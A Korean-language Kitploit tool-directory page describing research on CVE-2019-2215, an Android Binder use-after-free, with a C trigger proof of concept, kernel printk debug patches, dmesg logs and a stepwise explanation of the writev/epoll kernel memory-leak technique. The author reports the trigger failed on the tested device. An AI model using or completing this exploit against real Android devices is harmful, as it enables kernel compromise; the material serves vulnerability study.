Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-2215 — CVE 2019-2215 Android Binder 사용 후 해제 | Kitploit
도구/GitHubGitHub/atorninja/cve-2019-2215
Android SecurityMemory ForensicsVulnerability AnalysisExploitationBinary Exploitation
GitHubatorninja/cve-2019-2215

CVE-2019-2215

CVE 2019-2215 Android Binder 사용 후 해제

저장소 보기
3136년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-2215

출처:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885

Samsung S7 및 S7 Edge (커널 3.18.x)는 취약하지 않은 것으로 보입니다. (하지만 PoC 조정을 통해 더 많은 작업을 하면 취약할 수 있습니다.) 루팅된 장치가 없어 더 이상 확인할 수 없습니다.

Samsung S3Neo+ (LineageOS, 커널 3.4.0)는 취약할 가능성이 있습니다. (진행 중)

root@kitploit:~

Kernel 3.4.0

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/

No KASLR

No need to leak Kernel Struct Addresses.

8-byte aligned (because there is one less field in the struct)

binder_thread size:0xfc (252) 

wait queue offset:0x2c (44)


Had to add at least 2 entries for it to trigger, with 1, it didn't trigger

https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533

PoC:


#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>


#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul

int main()
{
    int fd,fd1,fd2, epfd,epfd1;
    struct epoll_event event = { .events = EPOLLOUT   };

    fd = open("/dev/binder", O_RDONLY);
    fd1 = open("/dev/random", O_RDONLY);
    epfd = epoll_create(1000);
    epfd1 = epoll_create(1000);
  

    if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
    if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");




    //ioctl(fd, BINDER_VERSION, NULL);

    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    printf("Finished here.");
}


커널에서 binder.c와 eventpoll.c를 수정하여 상황을 확인했습니다.

binder.c

static int binder_free_thread(struct binder_proc *proc,
                              struct binder_thread *thread)
{
        struct binder_transaction *t;
        struct binder_transaction *send_reply = NULL;
        int active_transactions = 0;
        static const size_t memberOffset = offsetof(binder_thread, wait);
        wait_queue_head_t *wqhptr = &thread->wait;
        wait_queue_head_t *pwqhptr = &proc->wait;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
        printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
        printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
        list_for_each_safe(p1,n1,  &pwqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }
        list_for_each_safe(p1,n1,  &wqhptr->task_list){
          my2 = list_entry(p1, wait_queue_t, task_list);
          printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
        }

eventpoll.c

static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
        wait_queue_head_t *whead;
        wait_queue_t *strptr;
        struct list_head *n1,*p1;

        wait_queue_t *my2;


        rcu_read_lock();
        /* If it is cleared by POLLFREE, it should be rcu-safe */
        whead = rcu_dereference(pwq->whead);
        printk(KERN_INFO "whead before");

        if (whead)
        {
                strptr=&pwq->wait;


                list_for_each_safe(p1,n1,  &pwq->whead->task_list){
                my2 = list_entry(p1, wait_queue_t, task_list);

                printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
                }


                remove_wait_queue(whead, &pwq->wait);
                printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
                printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);

리스트가 출력되는 것을 확인했지만... Android 부팅 중에는 내 PoC가 아닙니다:

During Android start

[   84.747753] binder_ioctl: 1878:2371 40046208 0
[   84.747765] iovec str size:8
[   84.747771] thread->task_list:e4fb2e30
[   84.747777] proc->task_list:e57d866c
[   84.747784] p list= e57d866c e7fffe7c
[   84.747790] p list= e656de7c e57d866c
[   84.747797] binder_free_thread size:252 worker_off:44
[   84.747804] freed thread:e4fb2e00

I see proc->task_list ... 

PoC:

[  642.254192] wq queue:e7ce8798
[  642.254201] epoll struct:e7ce8780
[  642.254214] wq queue:e7ce8f98
[  642.254220] epoll struct:e7ce8f80
[  642.254230] wq queue:e7ce8718
[  642.254236] epoll struct:e7ce8700
[  642.254266] binder_ioctl: 7392:7392 40046208 0
[  642.254274] iovec str size:8
[  642.254280] thread->task_list:e5389b30
[  642.254286] proc->task_list:c309d86c
[  642.254292] binder_free_thread size:252 worker_off:44
[  642.254299] freed thread:e5389b00
[  642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[  642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[  642.254799] ep_unregister_pollwait list not empty
[  642.254805] whead before
[  642.254811] my2= c0f50cc4 c0f50cc4
[  642.254817] remove wait queue:e734b994
[  642.254823] remove wait queue task list:e734b9a0
[  642.254830] ep_unregister_pollwait list not empty
[  642.254835] whead before
[  642.254841] my2= c0f50cd0 c0f50cd0
[  642.254847] remove wait queue:e734bb24
[  642.254852] remove wait queue task list:e734bb30
[  642.254863] ep_free
[  642.254873] ep_free
[  642.254881] ep_free

그러나 버그는 내 PoC에서 트리거되지 않았습니다. thread와 proc 아래에 이중 리스트 항목이 보이지 않습니다 :/

여기서 use-after-free 버그가 발생해야 합니다.

코드:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);

이것이 호출되면 커널에서 binder_thread 구조체가 해제됩니다.

부모 프로세스가 다음을 호출한 직후:

코드:

b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);

커널에서는 사용자 공간에서 iovec_array를 복사하기 위해 메모리가 할당됩니다. 이 PoC는 이 할당에서 얻은 포인터가 최근에 해제된 binder_thread 메모리와 동일해야 합니다.

그런 다음 자식 프로세스가 종료되면 EPOLL 정리(cleanup)가 iovec_array의 값으로 덮어쓰여진 binder_thread 구조체의 waitqueue를 사용합니다. EPOLL 정리가 waitqueue를 연결 해제할 때, 0xDEADBEEF가 커널 공간의 포인터로 덮어쓰여집니다. 이는 부모 프로세스의 writev 호출이 두 번째 버퍼 복사를 시작하기 직전에 발생해야 하며, 이를 통해 커널 공간 메모리 누수를 얻을 수 있습니다.

writev가 0x1000을 반환한다면, 타이밍이 맞지 않거나, wait queue 오프셋이 잘못되었거나, writev 함수의 kmalloc 할당이 해제된 binder_thread와 동일하지 않거나, 커널이 취약하지 않다는 것을 의미합니다.
도구 다운로드